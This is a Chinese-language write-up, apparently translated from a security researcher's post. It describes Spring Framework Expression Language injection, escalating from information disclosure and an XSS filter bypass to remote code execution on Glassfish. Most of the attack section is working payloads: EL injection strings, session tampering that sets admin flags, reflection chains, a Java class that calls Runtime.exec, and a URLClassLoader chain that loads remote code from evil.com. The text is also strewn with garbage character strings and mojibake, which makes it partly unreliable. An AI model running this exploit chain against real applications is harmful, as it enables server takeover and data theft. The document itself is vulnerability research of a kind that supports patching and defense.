Remote Code with# i' K! q7 w! j
Expression Language Injection3 w$ x2 n1 Q& a4 D( S
Spring Framework脆弱性—DanAmodio
4 R3 L0 s$ Q8 F F/ L2 [# z' R; D全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
# N: R( d: a. P- a可能会存在风险。1 B7 s( J( G: d" a- s3 U& k3 f& v7 ~
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
# {& k6 z/ c- w- _) TArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可7 b( w! V6 N8 ?9 ]5 x8 T- k. o
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
' s- C) L2 Q+ C1 z以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
4 B$ M$ W8 G4 e2 t版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。0 o; y1 x3 \( Y& H% K8 O
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
7 s% z9 S% y. a. W: O6 i" O我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
5 U! X6 R/ Y' x) [本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
% b9 E% f# P; u1 l8 T这些版本不支持禁用double EL resolution.
" `6 @8 e6 C N这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
! W+ Q- R( ]7 `# }2 m$ R- q" pEL2.2容器上可能进行远程代码执行。* A# c. ?2 Z: F' K
这是一个原始信息泄露的攻击例子:
( I2 ^" J |; D5 I$ B) |$ [" ?! W请求: W2 g O7 d* [" C( A
ttp://vulnerable.com/foo?message=${applicationScope}
7 g, Z! N4 j1 c+ ?6 u到达以下内容页面:
4 Y/ Y: k" ~' |结果将输出一些包含内部服务器信息calsspath 和本地工作目录+ d; B$ {+ Y' W3 x! }; Q
你也可以做一些其他事情,如这样:4 [ K2 [" a4 N8 q4 Q# U; e# i
${9999+1}
' [5 A5 c/ G/ T+ `7 u- C还可以访问session 对象和beans8 o& ?# \6 X5 r3 m: Y
${employee.lastName}
/ X$ u2 ]- D1 ]" X( [在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
* `- @) X2 ?% l+ p* MEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
* l% z; o( b8 H' i" U& L& k* j& H西,比如XSS.3 k. L. l4 [3 H1 w4 @6 ]
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
3 }$ p: h2 G0 X- l+ X8 z突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
/ s+ T+ p9 W2 E2 @# R呢?”
5 r" S1 E0 `; y# G因此,我尝试巳缦拢�
) q6 K) |! b. Z, c4 z# ?7 }% D" thttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
% x7 a" ]0 E2 D& O: x; c; VP
8 s. K) Q+ ~% I+ Q我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
& }, _* U! _2 e& c8 N3 j# {回的文本被插入进了spring:message 标签。7 {; \7 J4 Z9 X
这里是一个最终绕过过滤的实例:
0 S* E" R/ W+ x( o& `5 b. Qhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ( ^1 |/ [* _! b) w
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为9 u' M. T9 H3 s- B' E
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?+ V) W j% ~$ g) x$ e4 H. K! ^
经过一番研究,我学习到EL2.2 增加了方法调用。
4 M3 k% \/ z' A+ Y我写了一个快速测试应用程序代码并且检测一些功能
- m9 t/ B$ R% p% T" M+ l: Q: I${pageContext.request.getSession().setAttribute(“account”,”123456″)}7 `7 E8 i# |9 }4 W9 |4 |; f
${pageContext.request.getSession().setAttribute(“admin”,true)}
$ U0 p0 v( l% n* R好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的5 k7 {6 K7 m' Q0 ^ l. B$ b6 J7 l
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?3 j, t/ t7 c8 p! Z* r
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1& V0 _6 T, x2 Y' B7 S) Y# ^$ b
“, 1234)}
) ?9 A- j; A9 r4 V6 z${“”.getClass().forName(“java.lang.Runtime”)}
: o. A' A; s3 f. g5 f& A! M# r哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不- ^7 g5 x( u5 l6 A. p2 u. a) R
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
$ e, U) x6 u; C数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有- j0 m e! y) P$ c
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
$ H# N4 r% G% E0 L; D方法签名invoke(Object obj, Object„ args)% r7 x; k8 u. ^4 y8 e0 n1 R
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问1 \; K! f9 c1 ^% m
题,以让它可以工作起来。
O Y6 j5 U+ V I1 v漏洞利用:
$ G: n, Z) ]1 A/ x! T$ U4 `我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
' T7 J* S$ X0 W7 n! T* ^3 i希望你们中的一些JAVA奇才告诉我我是如此的可笑。9 u7 k' D1 M8 }9 {9 D8 B$ E9 p+ o
这里有一些我试过的失败的用例,为了试图让它工作的用例:/ s5 f, H- k% B) F3 \! B. R
写文件到文件系统. E) ~7 `2 A+ q% i% ~% S
试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
3 M9 H7 \; a8 A- e5 E我认为这些可以很好的工作,但是我不能找到合适的类来载入。/ J( v6 r% G3 M
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}0 x+ o" A, B9 o: } @6 R; s
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
; D6 h0 }) h$ }" Uorg.springframework.expression.spel.standard.SpelExpressionParser not found
9 r L8 f @) z" |" |( cby, X, b9 I, W |% [; @8 _& ~7 O
org.glassfish.web.javax.servlet.jsp [194].
5 z5 L3 Z# N$ u i* I# C- K 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
- E2 s( F5 |/ [0 Q9 _+ W' f' W 利用反射来创建一个新的Runtime(and watch the world burn)
* e' V9 }0 x9 F, p/ t${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName8 Z7 M9 X- z+ z* Q9 [! O
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}) c9 g3 p4 d" \- Q5 c
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}8 S* ^$ C7 x$ u
使用java.lang.ProcessBuilder6 J. i7 m. W# t
用表达式语言来评估表达式语言. |+ K( b X A& [' g6 h
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.2 ]5 _! d; B# P/ g' n' C# ]$ t0 Y
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request! s5 ~% q# o8 R. ]& \
“,”".getClass(),null)}+ V! M) j- u o
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)9 T; e* D3 v1 O
我在使用一个空数组通过Method.invoke()时失败了很多次
8 W" g& B1 Q) ?“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo. n+ m, J" N" ^# c& K) w
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A+ K8 i: Q) K9 E: n+ p
rrayList”).newInstance().toArray())6 Q. F1 Z, q; T6 n4 P/ K
java.lang.IllegalArgumentException: wrong number of arguments3 u U" E% _5 ~) `! b
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
. C t. H( V3 g9 w! U! _# K6 J以创建一个恶意class文件并且指向类装载器.. h" ]- o5 }7 i, z( h4 E+ g
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
) F2 q e9 F8 ?/ I% Y3 [public class Malicious {/ e( D" C) ^4 N/ n3 B* g4 l" s
public Malicious() {
+ w2 A: B; O, ctry {
( a5 |& H4 [" u' q$ p" B4 rjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac5 b! J+ E* {1 F
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win& ^* N+ X' Y1 ~ @5 a- ^1 G" t/ m
} catch (Exception e) {
9 H$ B- e9 |5 R2 ?' v}
& O$ d& ~# e, V" q" [4 v# ]( m}
# D8 K6 I. w3 M2 l9 g& W我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
" o; X+ h1 z; g# c9 G8 \. {话中,因此它可以被使用.
9 m" ?; x) B0 g${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
4 c, M. g9 z/ ^& V) j* [(“java.util.ArrayList”).newInstance())}
8 q, M" ]) E' r, hURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建! ]3 ~- O, [5 O. E: \
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
. Q f6 r( ?3 w7 o$ n# N; VgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
8 J. s- l+ U( z5 L/ S# i3 C我们可以调用的create(string)方法,然后转换对一个URL对象。
, x& [) q" h8 X7 J+ Z${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
. ~' g! ` D! H" l/ a# W3 Were/malicious/classfile/is/located/”).toURL())}
. L( y' j( w' P- `- g然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
* I5 I: l# z" J" w8 S4 T8 M! u恶意类文件被装载并创建,触发远程代码.: P' }# K: {" r$ N: S0 l
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
9 U3 i0 V* q2 H) L: ^xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
( L8 E+ S& R* k4 i/ k i) @) IgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
+ [+ C2 |8 G9 b3 ~3 P7 h* ~ a()} |